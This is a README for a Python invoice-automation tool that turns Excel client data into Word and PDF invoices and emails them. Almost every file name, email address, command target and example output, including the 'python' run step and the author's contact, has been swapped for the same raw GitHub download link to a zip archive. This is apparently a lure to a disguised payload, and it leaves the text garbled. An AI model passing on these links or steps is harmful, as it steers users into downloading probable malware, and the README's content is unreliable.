🧾 Invoice Automation Tool (Python)

Invoice Automation Tool is a Python-based solution that automates the end-to-end process of client billing. It reads client data from an Excel file, generates personalized invoices using a Word template, converts them to PDF, and emails them to each client — all in one streamlined workflow.

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🚀 Features

• 📥 Reads client data from Excel (Name, Email, Service, Amount, Due Date, etc.)
• 📄 Fills a pre-designed Word invoice template for each client
• 🧾 Converts the .docx invoices to .pdf
• 📧 Sends personalized emails with the correct PDF invoice as attachment
• 🔐 Uses secure SMTP for sending emails
• 🗃 Logs sent invoices and supports future enhancements like retry or logging

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📁 Folder Structure

Invoice_Automation/
├── Invoices/                   # Contains generated .docx and .pdf invoices
├── Templates/
│   └── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip      # Word template with placeholders
├── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip    # Input file with all client data
├── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip               # Script to send emails
├── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip         # Script to fill data and create .docx
├── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip      # Batch converter for .docx → .pdf
├── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip                     # Orchestrates the 3-phase process
└── https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip                   # This file

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🛠 Setup Instructions

1. Install dependencies

pip install pandas python-docx
# For PDF conversion (Windows only)
pip install docx2pdf

2. Add your Gmail SMTP credentials

In https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip, use:

https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip("https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip", "your_app_password")

(Use an App Password if using Gmail 2FA)

3. Run the pipeline

python https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip

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📝 Input Excel Format (https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip)

Name	Email	Address	Phone No.	Service	Amount	Discount	Due Date
John Doe	https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip	123 Street Name	+91-9876543210	Web Development	15000	1000	2025-06-25

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📬 Output Example

Each client receives an email with their customized PDF invoice. File names are like:

https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip
https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip
...

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📌 Author

[Your Name]
GitHub: codenoob7
Email: https://github.com/codenoob7/Invoice_Automation/raw/refs/heads/main/Templates/Automation-Invoice-truebred.zip
MIT License ©️ 2025

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⭐ If this project helped you, please consider giving it a star on GitHub!